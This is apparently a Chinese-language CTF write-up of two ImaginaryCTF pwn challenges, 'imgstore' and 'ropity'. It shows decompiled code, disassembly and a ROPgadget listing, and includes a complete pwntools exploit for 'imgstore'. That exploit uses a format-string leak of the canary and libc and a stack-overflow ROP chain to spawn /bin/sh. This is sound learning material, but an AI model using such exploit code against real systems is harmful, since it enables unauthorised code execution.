pwn
imgstore
unsigned __int64 sell_book()
{
char v1;
int buf;
int fd;
char s[72];
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(s, 50, stdin);
printf("Book title --> ");
printf(s);
puts(&::s);
if ( 334873123 * buf == dword_6050 )
{
dword_608C = 2;
sub_1D77(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&::s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall sub_1D77(int a1)
{
char s[104];
unsigned __int64 v3;
v3 = __readfsqword(0x28u);
sub_18F2();
if ( a1 == 2 )
{
printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
putchar(62);
fgets(s, 160, stdin);
}
else
{
printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
puts("[+] BAD HACKER!!");
}
return __readfsqword(0x28u) ^ v3;
}
程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露
exp
from pwn import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./imgstore')
libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
sla(">>","3")
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)
ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")
payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)
ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")
payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)
time.sleep(0.3)
rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)
p.interactive()
ropity
.text:0000000000401136 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136 public main
.text:0000000000401136 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s= byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136 F3 0F 1E FA endbr64
.text:000000000040113A 55 push rbp
.text:000000000040113B 48 89 E5 mov rbp, rsp
.text:000000000040113E 48 83 EC 10 sub rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
.text:0000000000401155
.text:000000000040115A 90 nop
.text:000000000040115B C9 leave
.text:000000000040115C C3 retn
.text:000000000040115C ; }
.text:000000000040115C
.text:000000000040115C main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D public printfile
.text:000000000040115D printfile proc near
.text:000000000040115D
.text:000000000040115D var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D F3 0F 1E FA endbr64
.text:0000000000401161 55 push rbp
.text:0000000000401162 48 89 E5 mov rbp, rsp
.text:0000000000401165 48 89 7D F8 mov [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00 mov rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00 mov rsi, 0 ; flags
.text:0000000000401177 0F 05 syscall ; LINUX - sys_open
.text:0000000000401179 48 89 C6 mov rsi, rax ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00 mov rdi, 1 ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00 mov rdx, 0 ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00 mov r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00 mov rax, 28h ; '('
.text:0000000000401198 0F 05 syscall ; LINUX - sys_sendfile
.text:000000000040119A 90 nop
.text:000000000040119B 5D pop rbp
.text:000000000040119C C3 retn
.text:000000000040119C ; }
.text:000000000040119C
.text:000000000040119C printfile endp
.text:000000000040119C
真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有
lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
Unique gadgets found: 65